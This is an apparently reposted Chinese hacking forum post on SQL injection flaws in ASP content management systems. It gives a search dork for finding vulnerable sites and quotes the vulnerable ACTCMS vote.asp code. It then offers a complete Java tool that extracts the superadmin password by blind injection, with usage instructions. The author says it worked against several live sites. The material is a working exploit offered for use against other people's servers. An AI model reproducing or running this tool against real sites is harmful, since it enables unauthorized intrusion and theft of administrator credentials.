摘自 末日 的Qzone
(华盟版主)
 
baidu或者google搜索关键字:inurl:TypeClass.asp 
漏洞描述: 
User_Article.Asp导致注入,暴出管理员密码。 

利用方法: 

baidu或者gg搜索关键字:inurl:TypeClass.asp 
============================================== 
2。 
一款ASP的CMS程序。用的人并不是太多。   
GOOGLE一下关键字“Copyright @ 2006   www.actcms.com” ,不是太多。 
今天看了一下代码。   
基本上所有的参数全都被过滤掉了。。    
不过投票那里出了点小问题。。 
在/plus/vote/vote.asp页面。   
代码如下: 
ASP/Visual Basic代码   
....          
if request("voted").count=0 then      
    response.write "<script>alert(’请选择投票项目。’);window.close()</script>"      
    response.end      
    end if      
    for i=1 to request("voted").count      
    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))      
    next      
....      
response.Redirect "index.asp?id="&id&""    
id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。 
唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。 
代码如下: 
Java代码   
import java.io.BufferedReader;      
import java.io.InputStreamReader;      
import java.net.URL;      
import java.net.URLConnection;      
import java.util.regex.Matcher;      
import java.util.regex.Pattern;      
      
public class ActCmsGetPwd {      
      
    public static char[] arr = { ’0’, ’1’, ’2’, ’3’, ’4’, ’5’, ’6’, ’7’, ’8’,      
            ’9’, ’a’, ’b’, ’c’, ’d’, ’e’, ’f’, ’g’, ’h’, ’i’, ’j’, ’k’, ’l’,      
            ’m’, ’n’, ’o’, ’p’, ’q’, ’r’, ’s’, ’t’, ’u’, ’v’, ’w’, ’x’, ’y’,      
            ’z’ };      
      
    public static String siteurl = "";      
    public static int voteid = 1;      
    public static String charset = "";      
      
    public static void main(String[] args) throws Exception {      
        if (args.length < 4) {      
            System.out      
                    .println("usage:java ActCmsGetPwd <siteurl> <voteid> <totalVoteNum> <charset>");      
            System.out.println("siteurl:目标站点");      
            System.out.println("voteid:投票id");      
            System.out      
                    .println("totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=<voteid>");      
            System.out.println("charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码");      
            System.out.println("eg:java ActCmsGetPwd   http://www.abc.com/  1 15 gb2312");      
            return;      
        }      
        siteurl = args[0];      
        voteid = Integer.parseInt(args[1]);      
        int preVoteNum = Integer.parseInt(args[2]);      
        charset = args[3];      
              
        System.out.println("Code by Ninty , QQ 3191864");      
        System.out.print("password is :");      
        for (int i = 1; i <= 16; i++) {      
            System.out.print(send(i, 0, preVoteNum));      
            preVoteNum++;      
        }      
        System.out.println("\nDone!");      
    }      
      
    public static char send(int a, int b, int preVoteNum) throws Exception {      
        String sql = "%20and%20(select%20top%201%20mid(password," + a      
                + ",1)%20from%20admin_act%20where%20supertf%20=1)%20=%20’" + arr[b] + "’";      
        URL u = new URL(siteurl      
                + "/Plus/vote/vote.asp?dopost=send&id="+voteid+"&ismore=0&voted=3" + sql);      
        URLConnection conn = u.openConnection();      
        BufferedReader reader = new BufferedReader(new InputStreamReader(conn      
                .getInputStream(),charset));      
        String str = reader.readLine();      
        while (str != null) {      
            if (str.indexOf(" 投票人数:") != -1) {      
                break;      
            }      
            str = reader.readLine();      
        }      
        reader.close();      
        if (!isRight(str, preVoteNum)) {      
            return send(a, ++b, preVoteNum);      
        } else {      
            return arr[b];      
        }      
    }      
      
    public static boolean isRight(String str, int preVoteNum) {      
        if (str == null) {      
            System.out.println("无法读取!");      
            System.exit(0);      
        }      
        Pattern pat = Pattern.compile("人数:( \\d+)");      
        Matcher mat = pat.matcher(str);      
        if (mat.find()) {      
            int num = Integer.parseInt(mat.group(1));      
            if (num != preVoteNum) {      
                return true;      
            }      
        }      
      
        return false;      
    }      
下面是已经编译好的 class文件,编译环境JDK6。   
直接运行就好。   
actcmsgetpwd.class 
在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。